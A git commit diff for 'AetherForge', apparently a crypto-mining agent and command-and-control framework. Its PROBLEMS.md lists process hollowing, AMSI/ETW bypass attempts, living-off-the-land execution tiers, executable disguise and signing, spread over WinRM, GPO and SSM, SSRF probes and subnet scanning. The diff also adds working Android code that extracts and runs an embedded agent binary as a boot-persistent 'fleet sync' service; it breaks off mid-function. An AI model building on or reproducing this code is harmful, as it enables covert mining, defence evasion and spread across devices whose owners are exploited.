Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs

2026-06-13 19:54:24 -07:00
76 changed files with 4696 additions and 970 deletions
--- a/.gitignore
+++ b/.gitignore
@@ -82,7 +82,7 @@ _*.txt
 /server/*cov*

 # Local APK / test logs (not tracked)
-/agent-tablet-1.apk
+/agent-*.apk
 /server/web/test-output.txt

 # Go build cache (local)
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -0,0 +1,98 @@
+# PROBLEMS.md
+
+Open issues only. Fixed items removed. Last sweep: 2026-06-07.
+
+## No open code issues
+
+Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1007**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
+
+## By design / safety
+
+| Issue | Notes |
+|-------|-------|
+| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). |
+| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). |
+| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. |
+| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. |
+| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). |
+| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
+| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
+
+## Scale limits (hundreds of subnets / 500+ agents)
+
+| Area | Notes |
+|------|-------|
+| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
+| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
+| **Subnet discovery server store** | `subnet_discoveries` SQLite table; agent WS `subnet_recon_report` ingest; dashboard `GET /api/v1/recon/discovered-hosts` + `subnet_discovery_update` broadcast. Agent auth marks matching IP `agent_online`. Covered by `-SubnetRecon` api/db gates. |
+| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
+| **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
+| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. |
+
+## Container Mining
+
+| Topic | Notes |
+|-------|-------|
+| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container â†’ in-process â†’ GPU (parallel) â†’ Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). |
+| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. |
+| **AV limits (honest)** | Containers are **not** invisible - AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
+| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
+| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; Forge live notice + `FieldHint` on Miner Execution. |
+| **Container hashrate** | Host relays container worker H/s via `MINER_STATS_FILE` + `ProbeHashrate()` when `hostMiningDisabled` (dashboard no longer stuck at 0). |
+| **Deferred** | Auto-build/push worker image in forge; Podman rootless on Windows. |
+
+## Architecture deferred (large)
+
+| Area | Notes |
+|------|-------|
+| **`tunnel_stream`** | Server-side TCP reverse relay documented as future (`README.md`). |
+| **Path Tracer sessions** | Sessions persist to SQLite (`pathtrace_sessions`) with startup restore (`loadPersistedSessions`; `pathtracer_persist_test.go`); handler map is cache. Gap: no full server-process restart E2E; live multi-hop WireGuard chain not automated in CI. |
+| **Non-Windows Path Tracer parity** | `pathtracer_stub.go` errors on `wg_setup`; chains are Windows-agent focused. |
+| **NAT / symmetric UDP** | UPnP + DB IP fallback; no STUN/TURN or post-config connectivity probe. |
+| **Fixed WireGuard port 51820** | Same UDP port all hops; multi-agent behind one NAT may conflict. |
+| **Agent display name vs hostname** | WS `UpsertAgent` preserves operator rename when `name != hostname`; reconnect with hostname only keeps DB label. |
+| **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
+| **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
+| **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
+| **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). |
+| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. |
+| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. |
+| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
+| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
+| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
+| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
+| **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. |
+| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
+| **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. |
+
+
+## AWS cloud features (honest operator scope)
+
+| Area | Notes |
+|------|-------|
+| **S3 + CloudFront erasure swarm** | Deploy plans can upload RS 4+2 shards when `AF_AWS_*` / `AF_CLOUDFRONT_*` env creds and Calibrate bucket/domain are set. **Test connection** and IAM/bucket policy JSON are local-only (no AWS API from the server except optional S3 HeadBucket when creds present). |
+| **SSM `ssm_document` spread lane** | Emberwake SSM panel exports document + run-command CLI for owned EC2; agents execute curl against your deck. Requires operator AWS CLI + IAM on instances (managed instance profile). |
+| **Launch Template strain genesis** | Crucible/forge exports `launch-template.json`, `user-data.sh`, ASG example for horizontal EC2 genesis auth (`join_lane=launch_template`). Operator applies in their AWS account. |
+| **Cloud spread kits** | Emberwake Cloud Spread panel ZIPs templates (S3/CloudFront, MinIO, Cloud Map snippets). Connection test is HTTP reachability only. |
+| **Policy snapshot / EventBridge fan-out** | Public `policy-snapshot/{token}` + fan-out ZIP for degraded agents; relay URL is operator-deployed Lambda/EventBridge—server does not call AWS APIs. |
+| **Fargate burst campaign** | Optional burst seeder task definition export; **not** auto-provisioned—operator ECS/Fargate + creds required. |
+| **Live AWS validation** | Full gate needs operator IAM (`s3:PutObject`, CloudFront signing keys, SSM SendCommand on fleet). CI/automation covers mocks; no shared AWS account in repo. |
+
+## Manual / live / honest partial
+
+| Item | Notes |
+|------|-------|
+| **Live S3 PutObject + CloudFront signed magnets** | CI mocks `AttachS3Swarm` inject store; operator `AF_AWS_*` / `AF_CLOUDFRONT_*` + bucket policy required for real shard upload. |
+| **SSM SendCommand on owned EC2** | Emberwake exports document + run-command CLI only; server never calls AWS SSM APIs. |
+| **Fargate ECS RunTask burst** | Task-definition ZIP + campaign sync tested; operator applies ECS/Fargate in their VPC. |
+| **EventBridge policy fan-out Lambda** | Fan-out ZIP + public snapshot URL tested; relay Lambda/EventBridge is operator-deployed. |
+| **Cloud Map route_via on deploy plans** | Agent registry fetch tested; server `AttachCloudMapRouteVia` wiring deferred (skipped Go tests). |
+| **Cloud venue on live EC2** | IMDS tag inference tested with inject; real `g4dn`/spot/batch labels need AWS instances. |
+| **Onion contingency LLM invoke** | Deterministic persona branch compose in CI; live court LLM on every exhaust tick not automated. |
+| **P2 spread lanes (manual only)** | Live Docker/Podman start; real WinRM/GPO/systemd/crontab on remote hosts; live BITS/curl; live multi-hop discover→spread without Playwright stub. |
+| **Deploy Recon port scan / crawl** | TCP port dial and same-origin HTTP crawl execute on the **dashboard host** (Go server), not from fleet agents. Firewall path must allow the server to reach the owned target. |
+| **Deploy Recon SSRF** | UI copies SSRF probe URLs; **no automated form submit** — operator pastes probe URL into owned target fields manually to validate server-side fetch to install.sh. |
+
+## Do not commit
+
+- `data/login-credentials.json`, `data/users.json`, and other local secrets.
--- a/README.md
+++ b/README.md
@@ -798,27 +798,6 @@ THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND

 ---

-## Performance & Scale Optimization
-
-AetherForge is optimized for large-scale fleet management:
- **Database Write Batching:** SQLite insert transactions are queued and flushed in batches every 5 seconds (99.8% reduction in DB writes).
- **SQLite WAL & Connection Pooling:** WAL mode is enabled and connection pool is set to 4 concurrent read/write connections to eliminate database locking under heavy stats load.
- **Granular Dashboard Subscriptions:** Subsections use dedicated React context selectors and memoized components to prevent cascading re-renders on stats updates.
- **Dynamic Config Overrides:** Spawning processes allow dynamic C2 URL, worker name, and fleet secret environment overrides.
- **Out-of-the-Box Cloudflare Tunnels:** The USB portable launcher builds with a built-in fallback Cloudflare tunnel token to enable remote routing immediately.
-
---
-
-## Testing & Validation Setup
-
-AetherForge includes a full cross-platform test suite (`test.bat` or `scripts/test-suite.ps1`) covering Go backend services, Go agent modules, Fusion bundler, and Vite/React frontend components:
-
- **Full Suite Execution:** Run `.\test.bat` from PowerShell / CMD to validate all unit, compilation, and E2E test phases.
- **Fast Unit Testing:** Run `.\test.bat -SkipE2E -SkipBuild` to execute all Go and Vitest unit tests in seconds without waiting for production binary builds or Playwright browser runs.
- **Offline Network Isolation:** `recon` module unit tests utilize stubbed banner hooks (`SetBannerHooks`, `SetPortDialHook`, `SetFetchPageHook`) to isolate tests from real DNS resolutions and external HTTP requests.
-
---
-
 ## License

 Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.
--- a/agent/client/handlemessage_test.go
+++ b/agent/client/handlemessage_test.go
@@ -2,6 +2,7 @@ package client

 import (
 	"encoding/json"
+	"os/exec"
 	"testing"
 	"time"

@@ -15,6 +16,24 @@ import (
 // real engine so handleMessage can call pool.SetJob without panicking.
 func newTestClient(t *testing.T) *AgentClient {
 	t.Helper()
+	SetPostureCollector(func() *PostureReport {
+		return &PostureReport{}
+	})
+	miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd {
+		return exec.Command("cmd.exe", "/c", "exit 1")
+	})
+	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
+		return miner.ContainerRuntimeInfo{}
+	})
+	miner.SetWSLDetector(func() miner.WSLRuntimeInfo {
+		return miner.WSLRuntimeInfo{}
+	})
+	t.Cleanup(func() {
+		SetPostureCollector(nil)
+		miner.SetProbeExecCommand(nil)
+		miner.SetRuntimeDetector(nil)
+		miner.SetWSLDetector(nil)
+	})
 	b := config.GetBuiltinConfig()
 	b.Threads = 1
 	cfg := config.RuntimeConfig{BuiltinConfig: b}
--- a/agent/config/config.go
+++ b/agent/config/config.go
@@ -179,18 +179,6 @@ type RuntimeConfig struct {

 func Load() RuntimeConfig {
 	b := GetBuiltinConfig()
-	if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SERVER_URL")); v != "" {
-		b.ServerURL = v
-	}
-	if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); v != "" {
-		b.WorkerName = v
-	} else if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER")); v != "" {
-		b.WorkerName = v
-	}
-	if v := strings.TrimSpace(os.Getenv("AETHERFORGE_FLEET_SECRET")); v != "" {
-		b.FleetSecret = v
-	}
-
 	if b.Threads <= 0 {
 		b.Threads = 4
 	}
--- a/agent/miner/lotl_orchestrator.go
+++ b/agent/miner/lotl_orchestrator.go
@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
 		default:
 		}
 		start := time.Now()
-		err := o.invokeTier(tier, hooks)
+		err := o.invokeTier(ctx, tier, hooks)
 		duration := time.Since(start)
 		if err != nil {
 			if errors.Is(err, ErrTierChainSkipped) {
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
 	return "", ErrTierChainExhausted
 }

-func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
+func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
 	switch tier {
 	case TierDockerLoad:
 		if hooks.StartDockerLoad == nil {
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
 		}
 		return hooks.StartDotnet()
 	case TierWMI:
-		attempt := RunWMITier(context.Background(), o.cfg)
+		attempt := RunWMITier(ctx, o.cfg)
 		o.recordAttemptRecord(attempt)
 		if !attempt.OK {
 			if attempt.Error == "" {
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
 		}
 		return nil
 	case TierScheduledTask:
-		attempt := RunScheduledTaskTier(context.Background(), o.cfg)
+		attempt := RunScheduledTaskTier(ctx, o.cfg)
 		o.recordAttemptRecord(attempt)
 		if !attempt.OK {
 			if attempt.Error == "" {
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
 		}
 		return nil
 	case TierGPUCompute:
-		attempt := RunGPUComputeTier(context.Background(), o.cfg)
+		attempt := RunGPUComputeTier(ctx, o.cfg)
 		o.recordAttemptRecord(attempt)
 		if attempt.OK {
 			o.mu.Lock()
--- a/android/agent-app/app/build.gradle.kts
+++ b/android/agent-app/app/build.gradle.kts
@@ -0,0 +1,57 @@
+plugins {
+    id("com.android.application")
+    id("org.jetbrains.kotlin.android")
+}
+
+android {
+    namespace = "com.aetherforge.agent"
+    compileSdk = 34
+
+    defaultConfig {
+        applicationId = "com.aetherforge.agent"
+        minSdk = 26
+        targetSdk = 34
+        versionCode = 1
+        versionName = "1.0.0-phase1"
+
+        ndk {
+            abiFilters += listOf("arm64-v8a", "armeabi-v7a")
+        }
+    }
+
+    buildTypes {
+        release {
+            isMinifyEnabled = false
+        }
+        debug {
+            applicationIdSuffix = ""
+        }
+    }
+
+    compileOptions {
+        sourceCompatibility = JavaVersion.VERSION_17
+        targetCompatibility = JavaVersion.VERSION_17
+    }
+
+    kotlinOptions {
+        jvmTarget = "17"
+    }
+
+    packaging {
+        jniLibs {
+            useLegacyPackaging = true
+        }
+    }
+
+    applicationVariants.all {
+        outputs.all {
+            val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
+            output.outputFileName = "aetherforge-agent.apk"
+        }
+    }
+}
+
+dependencies {
+    implementation("androidx.core:core-ktx:1.12.0")
+    implementation("androidx.appcompat:appcompat:1.6.1")
+}
--- a/android/agent-app/app/src/main/AndroidManifest.xml
+++ b/android/agent-app/app/src/main/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
+
+    <application
+        android:allowBackup="false"
+        android:icon="@mipmap/ic_launcher"
+        android:label="@string/app_name"
+        android:supportsRtl="true"
+        android:theme="@style/Theme.AetherForgeAgent">
+
+        <activity
+            android:name=".MainActivity"
+            android:exported="true"
+            android:launchMode="singleTask">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".AgentService"
+            android:enabled="true"
+            android:exported="false"
+            android:foregroundServiceType="dataSync" />
+
+        <receiver
+            android:name=".BootReceiver"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt
@@ -0,0 +1,43 @@
+package com.aetherforge.agent
+
+import android.content.Context
+import org.json.JSONObject
+
+data class AgentConfig(
+    val workerName: String,
+    val workerNumber: String,
+    val serverUrl: String,
+    val fleetSecret: String?,
+    val miningEnabled: Boolean,
+    val buildId: String,
+) {
+    companion object {
+        fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
+            val assetJson = runCatching {
+                context.assets.open("config.json").bufferedReader().use { it.readText() }
+            }.getOrNull()
+
+            val json = assetJson?.let { JSONObject(it) }
+            val worker = intentExtras["worker_name"]
+                ?: json?.optString("worker_name").orEmpty()
+            val workerNumber = intentExtras["worker_number"]
+                ?: json?.optString("worker_number")
+                ?: worker
+            val server = intentExtras["server_url"]
+                ?: json?.optString("server_url").orEmpty()
+            val secret = intentExtras["fleet_secret"]
+                ?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
+            val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
+            val buildId = json?.optString("build_id") ?: "android-dev"
+
+            return AgentConfig(
+                workerName = worker.ifBlank { "android-fleet-node" },
+                workerNumber = workerNumber.ifBlank { worker.ifBlank { "android-fleet-node" } },
+                serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
+                fleetSecret = secret,
+                miningEnabled = mining,
+                buildId = buildId,
+            )
+        }
+    }
+}
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt
@@ -0,0 +1,90 @@
+package com.aetherforge.agent
+
+import android.util.Log
+import android.content.Context
+import android.net.ConnectivityManager
+import android.net.NetworkCapabilities
+import android.os.BatteryManager
+import android.os.Build
+import java.io.File
+
+object AgentProcess {
+    private const val TAG = "AetherForge"
+    @Volatile
+    private var process: Process? = null
+
+    fun start(
+        binary: File,
+        filesDir: File,
+        config: AgentConfig,
+        probeEnv: Map<String, String> = emptyMap(),
+    ) {
+        stop()
+        val env = hashMapOf(
+            "HOME" to filesDir.absolutePath,
+            "TMPDIR" to filesDir.absolutePath,
+            "AETHERFORGE_MINER_EXECUTION" to "inprocess",
+            "AETHERFORGE_SERVER_URL" to config.serverUrl,
+            "AETHERFORGE_WORKER_NUMBER" to config.workerNumber,
+            "AETHERFORGE_PLATFORM" to "android",
+            "AETHERFORGE_FOREGROUND_SERVICE" to "1",
+        )
+        config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
+        env.putAll(probeEnv)
+
+        val cmd = listOf(binary.absolutePath, "--run")
+        Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
+
+        val pb = ProcessBuilder(cmd)
+            .directory(filesDir)
+            .redirectErrorStream(true)
+        val merged = pb.environment()
+        merged.putAll(env)
+
+        process = pb.start()
+        Thread({
+            process?.inputStream?.bufferedReader()?.use { reader ->
+                reader.lineSequence().forEach { line ->
+                    Log.i("$TAG:agent", line)
+                }
+            }
+        }, "agent-log-drain").apply {
+            isDaemon = true
+            start()
+        }
+    }
+
+    fun probeEnvironment(context: Context): Map<String, String> {
+        val wifi = runCatching {
+            val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
+            val network = cm.activeNetwork ?: return@runCatching false
+            val caps = cm.getNetworkCapabilities(network) ?: return@runCatching false
+            caps.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)
+        }.getOrDefault(false)
+
+        val batteryOk = runCatching {
+            val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+                val level = bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
+                level >= 15
+            } else {
+                true
+            }
+        }.getOrDefault(true)
+
+        return mapOf(
+            "AETHERFORGE_WIFI_CONNECTED" to if (wifi) "1" else "0",
+            "AETHERFORGE_BATTERY_OK" to if (batteryOk) "1" else "0",
+        )
+    }
+
+    fun stop() {
+        process?.let {
+            runCatching { it.destroy() }
+            runCatching { it.waitFor() }
+        }
+        process = null
+    }
+
+    fun isAlive(): Boolean = process?.isAlive == true
+}
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt
@@ -0,0 +1,114 @@
+package com.aetherforge.agent
+
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.app.PendingIntent
+import android.app.Service
+import android.content.Context
+import android.content.Intent
+import android.content.pm.ServiceInfo
+import android.os.Build
+import android.os.IBinder
+import android.util.Log
+import androidx.core.app.NotificationCompat
+
+class AgentService : Service() {
+    companion object {
+        private const val TAG = "AetherForge"
+        const val ACTION_START = "com.aetherforge.agent.START"
+        const val NOTIFICATION_ID = 41001
+        private const val CHANNEL_ID = "fleet_sync"
+
+        fun start(context: Context, extras: Intent? = null) {
+            val intent = Intent(context, AgentService::class.java).apply {
+                action = ACTION_START
+                extras?.extras?.let { putExtras(it) }
+            }
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+                context.startForegroundService(intent)
+            } else {
+                context.startService(intent)
+            }
+        }
+    }
+
+    override fun onBind(intent: Intent?): IBinder? = null
+
+    override fun onCreate() {
+        super.onCreate()
+        createNotificationChannel()
+    }
+
+    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
+        val notification = buildNotification()
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            startForeground(
+                NOTIFICATION_ID,
+                notification,
+                ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
+            )
+        } else {
+            startForeground(NOTIFICATION_ID, notification)
+        }
+
+        val config = AgentConfig.load(
+            this,
+            mapOf(
+                "worker_name" to intent?.getStringExtra("worker_name"),
+                "server_url" to intent?.getStringExtra("server_url"),
+                "fleet_secret" to intent?.getStringExtra("fleet_secret"),
+            ),
+        )
+        Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
+
+        val binary = BinaryExtractor.ensureBinary(this)
+        if (binary == null) {
+            Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
+            stopSelf()
+            return START_NOT_STICKY
+        }
+
+        if (!AgentProcess.isAlive()) {
+            AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
+        }
+        return START_STICKY
+    }
+
+    override fun onDestroy() {
+        AgentProcess.stop()
+        super.onDestroy()
+    }
+
+    private fun createNotificationChannel() {
+        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
+        val mgr = getSystemService(NotificationManager::class.java)
+        val channel = NotificationChannel(
+            CHANNEL_ID,
+            getString(R.string.notification_channel_name),
+            NotificationManager.IMPORTANCE_LOW,
+        ).apply {
+            description = getString(R.string.notification_channel_desc)
+            setShowBadge(false)
+        }
+        mgr.createNotificationChannel(channel)
+    }
+
+    private fun buildNotification(): Notification {
+        val pending = PendingIntent.getActivity(
+            this,
+            0,
+            Intent(this, MainActivity::class.java),
+            PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
+        )
+        return NotificationCompat.Builder(this, CHANNEL_ID)
+            .setContentTitle(getString(R.string.notification_title))
+            .setContentText(getString(R.string.notification_body))
+            .setSmallIcon(R.drawable.ic_launcher_foreground)
+            .setContentIntent(pending)
+            .setOngoing(true)
+            .setPriority(NotificationCompat.PRIORITY_LOW)
+            .setCategory(NotificationCompat.CATEGORY_SERVICE)
+            .build()
+    }
+}
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
@@ -0,0 +1,47 @@
+package com.aetherforge.agent
+
+import android.content.Context
+import android.util.Log
+import java.io.File
+import java.io.FileOutputStream
+
+object BinaryExtractor {
+    private const val TAG = "AetherForge"
+    private const val ASSET_NAME = "agent"
+    private const val BIN_NAME = "agent-arm64"
+
+    fun ensureBinary(context: Context): File? {
+        val outDir = File(context.filesDir, "bin").apply { mkdirs() }
+        val outFile = File(outDir, BIN_NAME)
+        val assetSize = assetSize(context)
+        if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
+            outFile.setExecutable(true, false)
+            outFile.setReadable(true, false)
+            return outFile
+        }
+        return extract(context, outFile)
+    }
+
+    private fun assetSize(context: Context): Long {
+        return runCatching {
+            context.assets.openFd(ASSET_NAME).use { it.length }
+        }.getOrDefault(0L)
+    }
+
+    private fun extract(context: Context, outFile: File): File? {
+        return try {
+            context.assets.open(ASSET_NAME).use { input ->
+                FileOutputStream(outFile).use { output ->
+                    input.copyTo(output)
+                }
+            }
+            outFile.setExecutable(true, false)
+            outFile.setReadable(true, false)
+            Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
+            outFile
+        } catch (e: Exception) {
+            Log.e(TAG, "failed to extract agent binary", e)
+            null
+        }
+    }
+}
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt
@@ -0,0 +1,14 @@
+package com.aetherforge.agent
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.util.Log
+
+class BootReceiver : BroadcastReceiver() {
+    override fun onReceive(context: Context, intent: Intent?) {
+        if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
+        Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
+        AgentService.start(context.applicationContext)
+    }
+}
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt
+++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt
@@ -0,0 +1,132 @@
+package com.aetherforge.agent
+
+import android.Manifest
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.net.Uri
+import android.os.Build
+import android.os.Bundle
+import android.os.PowerManager
+import android.provider.Settings
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.TextView
+import android.widget.Toast
+import androidx.activity.result.contract.ActivityResultContracts
+import androidx.appcompat.app.AppCompatActivity
+import androidx.core.content.ContextCompat
+
+class MainActivity : AppCompatActivity() {
+    private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
+    private var permissionIndex = 0
+    private lateinit var pendingPermissions: List<String>
+
+    private val permissionLauncher =
+        registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
+            val denied = results.filterValues { !it }.keys
+            if (denied.isNotEmpty()) {
+                Toast.makeText(
+                    this,
+                    "Some permissions were denied — fleet diagnostics may be limited.",
+                    Toast.LENGTH_LONG,
+                ).show()
+            }
+            requestNextPermissionBatch()
+        }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(buildLayout())
+
+        if (!prefs.getBoolean("permissions_requested", false)) {
+            prefs.edit().putBoolean("permissions_requested", true).apply()
+            beginPermissionFlow()
+        } else {
+            startFleetService()
+        }
+    }
+
+    private fun buildLayout(): LinearLayout {
+        val pad = (24 * resources.displayMetrics.density).toInt()
+        return LinearLayout(this).apply {
+            orientation = LinearLayout.VERTICAL
+            setPadding(pad, pad, pad, pad)
+            addView(TextView(context).apply {
+                text = getString(R.string.permission_intro_title)
+                textSize = 22f
+                setTextColor(0xFFE2E8F0.toInt())
+            })
+            addView(TextView(context).apply {
+                text = getString(R.string.permission_intro_body)
+                textSize = 15f
+                setTextColor(0xFF94A3B8.toInt())
+                setPadding(0, pad / 2, 0, pad)
+            })
+            addView(TextView(context).apply {
+                text = getString(R.string.battery_hint)
+                textSize = 14f
+                setTextColor(0xFF64748B.toInt())
+                setPadding(0, 0, 0, pad)
+            })
+            addView(Button(context).apply {
+                text = getString(R.string.open_battery_settings)
+                setOnClickListener { openBatteryOptimizationSettings() }
+            })
+        }
+    }
+
+    private fun requiredRuntimePermissions(): List<String> {
+        val perms = mutableListOf<String>()
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+            perms += Manifest.permission.POST_NOTIFICATIONS
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
